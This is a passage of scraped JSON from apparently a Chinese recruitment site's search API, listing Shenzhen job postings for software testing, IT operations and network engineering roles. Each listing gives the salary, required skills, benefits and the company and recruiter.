"500-999人", "welfareList": [ "节日福利", "员工旅游", "五险一金", "零食下午茶", "年终奖", "加班补助" ], "industry": 100022, "contact": false }, { "securityId": "NFTb6gYDnXzYg-b1sTYm9uh-sidDrTjltp2BpG2YzDmcWuT3pELNR630PieMWPMhO18Jg4sOb8SmwT_djvlfKttKwnQsNgfbHziFQcNQwesT-P2-nGK16g5KALGBJPuxIgeXdhafJ7nN4mNNeK3aBkUBc5YuRxCVX7Me29o6h09bVA~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20221121/607f1f3d68754fd0f16cdef535de7c2236a6838c6cdedcbdfaef6f2c61ee1ed7efcc07b42b5bd366_s.png", "bossCert": 3, "encryptBossId": "a3334e1a1a087f281X193dW6GVM~", "bossName": "张先生", "bossTitle": "招聘经理", "goldHunter": 0, "bossOnline": true, "encryptJobId": "55326a6e25a07fb11XB62964FFNX", "expectId": 92940501, "jobName": "软件测试工程师(大厂 双休)", "lid": "9vXIiY4ztcW.search.26", "salaryDesc": "10-13K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "自动化测试", "Java", "Python", "MySQL", "计算机相关专业", "自动化测试经验" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "西丽", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 26, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692174572000, "encryptBrandId": "f57be2adf58202040XN83d-7FQ~~", "brandName": "德科信息", "brandLogo": "https://c-res.zhipin.com/jrs/f529e808b016e68c34a6eb2184f59a1f.jpg", "brandStageName": "不需要融资", "brandIndustry": "计算机软件", "brandScaleName": "1000-9999人", "welfareList": [ "带薪年假", "节日福利", "团建聚餐", "五险一金", "股票期权", "意外险", "年终奖", "企业年金", "生日福利" ], "industry": 100021, "contact": false }, { "securityId": "mEebfmJb-g9LZ-01OaOWPShElfde9DdAgasKfaOIGIincWSCWntHNhF2S3qvJeTXXLLez-Ap53ux050cF5EW0CsE_z9l0dUgqsTfvuvq46Diq-2qsL8LTOMJQT4bp0z9OfkURge-IFg~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20221019/607f1f3d68754fd0b4be0fc5d328cb952cfed8ab39e15b152ba3886698c2e1794f6b88465ffc2fd7_s.png", "bossCert": 3, "encryptBossId": "37f650156b84f04733Fz2Ny_ElE~", "bossName": "潘先生", "bossTitle": "人事经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "d49882826598f9481Xx639-_GFBY", "expectId": 92940501, "jobName": "测试工程师", "lid": "9vXIiY4ztcW.search.27", "salaryDesc": "12-18K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "自动化测试", "Python", "自动化测试经验", "公众号", "前端APP", "小程序" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "皇岗", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 27, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691116238000, "encryptBrandId": "714f5acecb8041891XB-3Nq8FlI~", "brandName": "十路科技", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20230407/7bf6f160950405e99d78f51cce71de8e325176f6650dd46b2ba3886698c2e1794f6b88465ffc2fd7.jpg", "brandStageName": "未融资", "brandIndustry": "互联网", "brandScaleName": "20-99人", "welfareList": [ "带薪年假", "五险一金" ], "industry": 100020, "contact": false }, { "securityId": "5llWasU3YumGQ-Q1zRqy6T9GHhcoRznLMvpdgB2aN5s8yrEzQ_N6LemmpWWGJTC78v2BHn2buJ--byuXjIcR2szXPFGPzQ6B2Gim3MoLRE0heVZ8cCb3dV1u_9KZf-91UFWPDbpSmE_S", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220922/607f1f3d68754fd0d146ab9071b647050b27b1224cfbde69339b48acac326fe39b97d2e0cdc14882_s.jpg", "bossCert": 3, "encryptBossId": "4d3a851128e426220nRz09q6ElNZ", "bossName": "陈先生", "bossTitle": "招聘经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "d6711ebc4519772d1X1z3t6-ElNQ", "expectId": 92940501, "jobName": "软件测试", "lid": "9vXIiY4ztcW.search.28", "salaryDesc": "12-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "Python" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 28, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692062991000, "encryptBrandId": "aa23359c2fa1edbf1nFy2Ny0EVo~", "brandName": "杭州七凌", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20210803/46d39d412614f3688fcd1da74696605dc572b45e47fc5613c59c5a5de380bf2a.jpg", "brandStageName": "不需要融资", "brandIndustry": "计算机服务", "brandScaleName": "500-999人", "welfareList": [ "五险一金" ], "industry": 100023, "contact": false }, { "securityId": "6424J04KxzEzM-j1a0eFSmkZDSDEBFU2o3df1HOtz8Cog-QwGMYpMJS0gbWqAiyAHXGmHal8mLK4MaiYyt7H17EbzOuMou6_1d_rkAco9DqT90RxUFG1oBoWclzpdYxkeu2O7km1YP4H3sywmm-EMhC0wBHyu8oGnma9MB3iXsrHsg~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_10.png", "bossCert": 3, "encryptBossId": "5d47ed8a374f47400nV90969FFpQ", "bossName": "林女士", "bossTitle": "HR", "goldHunter": 0, "bossOnline": true, "encryptJobId": "97a97a4c92a9abbf1HR73Nu-ElVQ", "expectId": 92940501, "jobName": "测试工程师(跨境电商)", "lid": "9vXIiY4ztcW.search.29", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "功能测试" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "龙岗区", "businessDistrict": "坂田", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 29, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1691463361000, "encryptBrandId": "16187be340a4bd9e1HF539y1", "brandName": "易佰网络", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20190128/1a917b20fc9a336ed069280e48784f01cfcd208495d565ef66e7dff9f98764da.jpg", "brandStageName": "已上市", "brandIndustry": "电子商务", "brandScaleName": "1000-9999人", "welfareList": [ "保底工资", "零食下午茶", "员工旅游", "企业年金", "节假日加班费", "宿舍有空调", "专业培训", "带薪年假", "夜班补助", "全勤奖", "团建聚餐", "绩效奖金", "底薪加提成", "意外险", "股票期权", "年终奖", "生日福利", "俱乐部", "节日福利", "五险一金" ], "industry": 100001, "contact": false }, { "securityId": "xkCqxMsCldcTP-q11I50FTOcX_ndJ8SUdXn53gODDBsLmRI9-HKYQIO-Q3lUDVYybOcg8sVJofW8U_CHoLwM3Ymmmh-4GXC9h63nFldisOvQM6qTt4CKpBVJZwoH-i_EFmjmilJCzw~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230510/607f1f3d68754fd04f8f0cea2f4930b15e003e01b1616d64c650fde91049b5b3944b0083f6bca65f_s.png", "bossCert": 3, "encryptBossId": "c2628f856c4bb72f1nZ809q8ElM~", "bossName": "邱女士", "bossTitle": "HRBP经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "10584af7a71b3f281HR63Nq-FFBU", "expectId": 92940501, "jobName": "测试工程师", "lid": "9vXIiY4ztcW.search.30", "salaryDesc": "10-15K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "性能测试", "自动化测试", "功能测试", "计算机相关专业", "测试工作经验" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "前海", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 30, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1692166796000, "encryptBrandId": "51f7dedfbfae4bba1nR63ti6FA~~", "brandName": "爱问科技", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20200408/11bdfe160d22d792abf9d4c0504ebfa142c4bf7afb1d798f2ff5f6e02d61718e_s.jpg", "brandStageName": "不需要融资", "brandIndustry": "移动互联网", "brandScaleName": "100-499人", "welfareList": [ "员工旅游", "餐补", "年终奖", "加班补助", "节日福利", "五险一金", "定期体检", "带薪年假" ], "industry": 100019, "contact": false } ] } }, { "code": 0, "message": "Success", "zpData": { "hasMore": true, "jobList": [ { "securityId": "tCL9l18JPW_y7-L1ibxTofPjKJEPvdElmvKSJgcLYkYPUBlw0POrTiIceZeeeJMR56Q9AXVirTfb0UkfhxqkQydmWgB4huCiOG1xrVbsQP0XHnFEtDPzgbrXsofcasedkoMYpeUM9r6MCxEDekOXCS2179xbbMgnBwGuoiCKZWiw3uXD", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_7.png", "bossCert": 3, "encryptBossId": "50277e7f8f50d9b60XRz3dS8FlVS", "bossName": "江先生", "bossTitle": "项目经理", "goldHunter": 0, "bossOnline": true, "encryptJobId": "b786787458a2b9061X183t-0E1pU", "expectId": 92940501, "jobName": "弱电技术主管", "lid": "1ITuGMdwQL2.search.1", "salaryDesc": "10-14K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "运维经验", "计算机相关专业", "机房运维", "弱电系统", "数据机房设备运维经验" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 1, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689224738000, "encryptBrandId": "7a353f5999a1329d1XF43Nu7EFo~", "brandName": "普汇智为", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "未融资", "brandIndustry": "通信/网络设备", "brandScaleName": "20-99人", "welfareList": [ "带薪年假", "五险一金", "团建聚餐", "餐补" ], "industry": 100024, "contact": false }, { "securityId": "PGiW3JiApyGtT-H1D7SD1J5MSnhMD-KRwzYZ9KrHhZ6pmyiMrZKut_oWXYoRvWpZIM-DititcH0xcrwpX3rTQJPMRGJ0UFU7Ya8SfgEczgb06TRegpJQ6rCT7Vk8sFe6hIVOPiCB", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220217/607f1f3d68754fd01e471f075602978cf74c34f0a2041780a1ef4bee505e624e4f6bd112e51140ae_s.jpg", "bossCert": 3, "encryptBossId": "1726ec71303a2ade0XRz2N-0EA~~", "bossName": "卜女士", "bossTitle": "hr", "goldHunter": 0, "bossOnline": false, "encryptJobId": "3a466ef07a39ea901X183NW6ElJS", "expectId": 92940501, "jobName": "IT高级工程师", "lid": "1ITuGMdwQL2.search.2", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "企业内部IT技术支持", "IT技术支持经验", "ERP/OA/CRM支持经验", "计算机/通信相关专业", "Linux及网络知识", "IT资产管理" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "宝安区", "businessDistrict": "石岩", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 2, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689303022000, "encryptBrandId": "db1e92e2c80f97721nB72t66EQ~~", "brandName": "广联智通科技", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20191021/3036fffe98924a1e3a4322534b4703ef3616214816422edd8b3d2d708ea1fb6f_s.jpg", "brandStageName": "未融资", "brandIndustry": "通信/网络设备", "brandScaleName": "100-499人", "welfareList": [ "五险一金", "员工旅游", "加班补助", "股票期权", "带薪年假", "年终奖", "节日福利", "定期体检", "零食下午茶" ], "industry": 100024, "contact": false }, { "securityId": "jNqzMsQUy1FI0-41xvqFwrIo4mmnLUgQc2m42r-5G1qHCvjhTcahPX8x9o-S31yPuyhvt9AKs97Vd6YTJM_SL0dT6ybp4E2vct3i9AlEi1n1EjJfe7Op8c1Dqez8Vu7eLl20wjIPOo0~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220713/607f1f3d68754fd02f370a59980355b73ea224a035c36dd1accfebea4231cd337d1896fde7b0aa5c_s.jpg", "bossCert": 3, "encryptBossId": "3d77ee30c04df1121n152NW7GVI~", "bossName": "陈女士", "bossTitle": "招聘专员", "goldHunter": 0, "bossOnline": false, "encryptJobId": "3a47fc5796cc6e7d1XJ6396-FVBS", "expectId": 92940501, "jobName": "监控工程师", "lid": "1ITuGMdwQL2.search.3", "salaryDesc": "8-12K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "系统运维", "计算机相关专业", "运维经验", "监控" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "华强南", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 3, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1687170517000, "encryptBrandId": "033cbb2ed907f3151nB50tq7EVU~", "brandName": "阅动(新华三)", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20220613/7bf6f160950405e96d4f510411d3fce81b7cbe5ced2d2a6d6293388d6cf128881852b7f687473889.jpg", "brandStageName": "未融资", "brandIndustry": "通信/网络设备", "brandScaleName": "100-499人", "welfareList": [ "交通补助", "定期体检", "带薪年假", "法定节假日三薪", "补充医疗保险", "员工旅游", "绩效奖金", "五险一金" ], "industry": 100024, "contact": false }, { "securityId": "XirwERf5ptACf-b11fgSSxyVCeNAepL477LaMCB04Ecp7P4sBQ0wrs1o186ZGAOvVZqpaZXls0ngfKh2QChDkFpk1R4joYexplXVKeS1Ja1gRDIML_jyQ0pmjUCC6___0NGgfYoB1Io~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20200423/5eff84c9e2b608bcc2333391a2fb1f9244ddf2583d5b93335b4369b6f728d4c7_s.jpg", "bossCert": 3, "encryptBossId": "9ef83eaca80639551nR_3Nu1EFdW", "bossName": "李太华", "bossTitle": "技术部经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "d0bacc90a8e053d61X1-3dy7GVtW", "expectId": 92940501, "jobName": "高级网络运维工程师", "lid": "1ITuGMdwQL2.search.4", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "网络运维" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "宝安区", "businessDistrict": "新安", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 4, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1688291384000, "encryptBrandId": "0e7702802f8df8280H192Nq_EQ~~", "brandName": "聚迅科技", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20221107/7bf6f160950405e96f9eda2d5e79a6d03651c22e5f29c24011327d8a2d87f9b409950ace3846b6a1.jpg", "brandStageName": "未融资", "brandIndustry": "计算机硬件", "brandScaleName": "20-99人", "welfareList": [ "住房补贴", "节日福利", "通讯补贴", "定期体检", "员工旅游", "带薪年假", "年终奖", "交通补助", "加班补助", "五险一金" ], "industry": 100022, "contact": false }, { "securityId": "-vmnltnGHnmwU-T1IaZmQL3e9vkzZEtqPcjncYXfQJfIneNR2uvl6srlqx_GbalrlBuD1L5UhWcSrEWL8fESvlzWn3SOjsuUAYHG5MJmmft1NmUZ5ajDyE4S3RFgtAF8mrZee0SkZA~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/tmp/20220802/a2f3e71d9181a67b71ab1892f3c764c8feda4c4753c14328a16294ff4f69e491c414ca6cc645ed33_s.jpg", "bossCert": 3, "encryptBossId": "f0d29fa6d0f60c581XJ93dm6Flc~", "bossName": "郭先生", "bossTitle": "招聘者", "goldHunter": 0, "bossOnline": false, "encryptJobId": "4c928002c13ec1271nV42Nq4E1A~", "expectId": 92940501, "jobName": "技术支持工程师", "lid": "1ITuGMdwQL2.search.5", "salaryDesc": "8-12K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "IT支持", "Linux" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "罗湖区", "businessDistrict": "莲塘", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 5, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681872028000, "encryptBrandId": "f831288c4c1a70a91XVz0tS8GFE~", "brandName": "普瑞吉电子", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "", "brandIndustry": "计算机硬件", "brandScaleName": "20-99人", "welfareList": [], "industry": 100022, "contact": false }, { "securityId": "6k8ZNVHNQPT3m-11Z35I3X_5_BZidRn9CDxeVgYwzVQg-86Grxm9qt8Pf6_D9hhoUTCUH4xoXieOLzOJ1aTQQwL1-ZC-6ufwWbsErwFf6HlRT9PXcix8_I_flG0iVNwMcLirAyLyPg~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230722/607f1f3d68754fd0f49761aa5488b5b1cdbdc6b1238f16d5a903ed9e387db527e25417d3e66408cd_s.png.webp", "bossCert": 3, "encryptBossId": "1877ae3a6d85fbe50XR509i6E1RX", "bossName": "吴女士", "bossTitle": "人事主管 HR", "goldHunter": 0, "bossOnline": false, "encryptJobId": "d8a6929e2a61e0ac1X193924FlpS", "expectId": 92940501, "jobName": "IT运维工程师-深圳", "lid": "1ITuGMdwQL2.search.6", "salaryDesc": "8-12K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "IDC机房运维", "存储", "虚拟化", "服务器" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "罗湖区", "businessDistrict": "翠竹", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 6, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689644242000, "encryptBrandId": "65e8cc6fb2f6b9970XN52tm8", "brandName": "东方通信", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20200330/e57a39fc965595617c4c7b0ee73a35573a19f609259a977a0dee458731fdbdf6_s.jpg", "brandStageName": "已上市", "brandIndustry": "通信/网络设备", "brandScaleName": "1000-9999人", "welfareList": [ "餐补", "定期体检", "包吃", "交通补助", "年终奖", "节日福利", "五险一金", "通讯补贴", "加班补助" ], "industry": 100024, "contact": false }, { "securityId": "uKZVV6tYOkrnA-c10WK6otWNoa1jixi3raY_G5vNoDZKaVt_fjMh9Ot5Nm0VrrtWJ-man5u4XOc8FFDBe8guXBLXmJzBO-XbfVLD7zDqFrbhU9CsqiEgNqI29IV8G5wDfGtfKFsZ5g~~", "bossAvatar": "https://img.bosszhipin.com/boss/avatar/avatar_15.png", "bossCert": 3, "encryptBossId": "38610e65dffa83eb03d52N61Fw~~", "bossName": "覃晓斌", "bossTitle": "经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "b96c9fb48b34c4c01nBy2d2-EVNY", "expectId": 92940501, "jobName": "游戏运维工程师", "lid": "1ITuGMdwQL2.search.7", "salaryDesc": "10-15K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "数据库运维", "Java", "集群运维", "Linux" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "南山区", "businessDistrict": "科技园", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 7, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681896139000, "encryptBrandId": "10a159465aa05de61nV43Ny8ElY~", "brandName": "金斗进日", "brandLogo": "https://img.bosszhipin.com/beijin/icon/894ce6fa7e58d64d57e7f22d2f3a9d18afa7fcceaa24b8ea28f56f1bb14732c0.png", "brandStageName": "未融资", "brandIndustry": "计算机服务", "brandScaleName": "0-20人", "welfareList": [ "五险一金", "节日福利", "绩效奖金", "带薪年假", "零食下午茶", "定期体检", "交通补助" ], "industry": 100023, "contact": false }, { "securityId": "3TBhbXXEa85fB-T1IvbqYYxC4psdJ0pmcUgEJG61erf6ylCSfXLbypifobRrka0zyHjEeqxJoPXLj5BiygHqeOFvaReZoQY4_am0CaK8xnYd-ApzODoXdcQrO1rYSO-BlrY8I6MWQQ~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230516/607f1f3d68754fd0444afefeb2d604d8a603de84116b364a0437335780bea7429da5f667cce51c36_s.jpg", "bossCert": 3, "encryptBossId": "b26f986a3400fdbb1X1_3t-4GVc~", "bossName": "周丽萍", "bossTitle": "招聘经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "ec4ac180ad93d5d51XZ83NS5EFpU", "expectId": 92940501, "jobName": "大数据运维工程师(视频面试,东莞上班)", "lid": "1ITuGMdwQL2.search.8", "salaryDesc": "15-25K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "Promethus", "Hadoop", "Hive", "Flink", "大数据运维", "CDH", "Kafka", "Elasticsea" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "宝安区", "businessDistrict": "西乡", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 8, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1681951609000, "encryptBrandId": "c67a5e034f8e82463nF73tm7Fw~~", "brandName": "千域时代", "brandLogo": "https://img.bosszhipin.com/beijin/upload/com/workfeel/20210831/7bf6f160950405e9d65068dca7eb364d809adce7483a18184a40900abc592fbb7d73e778871f663b.jpg", "brandStageName": "不需要融资", "brandIndustry": "计算机服务", "brandScaleName": "100-499人", "welfareList": [ "带薪年假", "免费班车", "加班补助", "五险一金", "定期体检", "节日福利" ], "industry": 100023, "contact": false }, { "securityId": "DLAVydbsz4zfA-w1mTL3bIvMozMKOYzWFH7-01GkRTgOfbRZDPohQpMy8bJXQU1SquFMdjpQis-exnlLR7WM5RRSLvSO8N18zMCVAbiPxsrVvBznQFCmT0Fv3EcZTjbh_Yg5jAa-3UVS", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20221108/607f1f3d68754fd00aabb78dc9cbcae0f482b3470b70b7168495c0964e9cee0eab49e55fe5fbaad8_s.jpg", "bossCert": 3, "encryptBossId": "b6344397e9a5d5a10nF40t20E1tX", "bossName": "李先生", "bossTitle": "猎头顾问", "goldHunter": 1, "bossOnline": false, "encryptJobId": "09425acd97cd86441X1-2Ni7E1VZ", "expectId": 92940501, "jobName": "技术服务工程师", "lid": "1ITuGMdwQL2.search.9", "salaryDesc": "15-25K", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "IDC机房运维", "服务器运维", "X86服务器" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "", "businessDistrict": "", "jobType": 0, "proxyJob": 1, "proxyType": 1, "anonymous": 20, "outland": 0, "optimal": 0, "iconFlagList": [ 8 ], "itemId": 9, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1688178995000, "encryptBrandId": "3a889c71d35c53721n1829y7EVI~", "brandName": "某知名计算机硬件公司", "brandLogo": "https://img.bosszhipin.com/beijin/app/mobile/n-af8dd288f86448d9eaaf3a4b0fd60b27.png", "brandStageName": "", "brandIndustry": "计算机硬件", "brandScaleName": "1000-9999人", "welfareList": [], "industry": 100022, "contact": false }, { "securityId": "uMtoOcUMPF_wa-P195swGXk4b2gwPeAthxw1en3PBpznx6zC9mufVkdMpfEAtHEYpBoYtVQZ-986Kpx_XplWZoCDXvWa74QgrCW9e-yLD45Bktuq1SB3GFnDqhLyshazkmxxKW08Rg~~", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20230508/607f1f3d68754fd09d5bf3e5aac4ee12192633a7806759cbb398cf1b287fa293350c2439c3342179_s.jpg", "bossCert": 3, "encryptBossId": "496b4655841194311Hd909-5FVo~", "bossName": "汤晓洁", "bossTitle": "人力资源经理", "goldHunter": 0, "bossOnline": false, "encryptJobId": "0993f2d999f87e891X153Nu7GFVQ", "expectId": 92940501, "jobName": "网络工程师", "lid": "1ITuGMdwQL2.search.10", "salaryDesc": "10-15K·13薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "网络建设/系统集成经验", "CCIE", "HCIP", "网络运维经验", "HCIE", "系统集成项目管理工程师", "计算机相关专业", "CCNP证书", "网络规划设计", "交换机配置" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "福田区", "businessDistrict": "车公庙", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 10, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1689852414000, "encryptBrandId": "3f5e0a03b336ab7a0n143N2_GQ~~", "brandName": "深圳德瑞信息", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20200910/565b0dcfcebf066e61f83dbd5d65817bdec48716039f1d7eefeaa8d9a84fc598_s.jpg", "brandStageName": "未融资", "brandIndustry": "计算机服务", "brandScaleName": "20-99人", "welfareList": [ "年终奖", "带薪年假", "节日福利", "定期体检", "加班补助", "餐补", "交通补助", "五险一金", "员工旅游" ], "industry": 100023, "contact": false }, { "securityId": "3aq6ahRlTZwRN-A1vHqD9Elg9-GcjVaOpRkzkfL93mbT9kqViiDHNxlJNLcgW3C_NW6yLIrrNlyS5e_Ui8foFczitZsYuUhMGBPpvmU4-Vgkmk9kUViZqGFf-RWJO3d5qccMop3m", "bossAvatar": "https://img.bosszhipin.com/beijin/upload/avatar/20220211/607f1f3d68754fd0d349ab6745e66e1d1f46f7729f1cfd1ef4d95bf77f3ab387d7454dcbd7a851b2_s.jpg", "bossCert": 3, "encryptBossId": "49475a3872c46d510n1709S7FFM~", "bossName": "许女士", "bossTitle": "HRBP", "goldHunter": 0, "bossOnline": false, "encryptJobId": "ab32e795c71d97211Xd60tm5E1dZ", "expectId": 92940501, "jobName": "技术支持工程师", "lid": "1ITuGMdwQL2.search.11", "salaryDesc": "15-30K·14薪", "jobLabels": [ "3-5年", "大专" ], "jobValidStatus": 1, "iconWord": "", "skills": [ "Python", "服务器配置", "虚拟机技术", "网络协议", "Windows", "Linux", "Nginx" ], "jobExperience": "3-5年", "daysPerWeekDesc": "", "leastMonthDesc": "", "jobDegree": "大专", "cityName": "深圳", "areaDistrict": "光明区", "businessDistrict": "光明", "jobType": 0, "proxyJob": 0, "proxyType": 0, "anonymous": 0, "outland": 0, "optimal": 0, "iconFlagList": [], "itemId": 11, "city": 101280600, "isShield": 0, "atsDirectPost": false, "gps": null, "lastModifyTime": 1680839933000, "encryptBrandId": "baa9473884bfaa3f1Hdy2tS0", "brandName": "研祥", "brandLogo": "https://img.bosszhipin.com/beijin/mcs/chatphoto/20191226/46ab46896ce366c749421f196ab1601167adfcfd1c02e0287837e047afe54804_s.jpg", "brandStageName": "已上市", "brandIndustry": "通信/网络设备", "brandScaleName": "1000-9999人", "welfareList": [ "五险一金", "带薪年假", "员工旅游", "包吃", "节日福利" ], "industry": 100024, 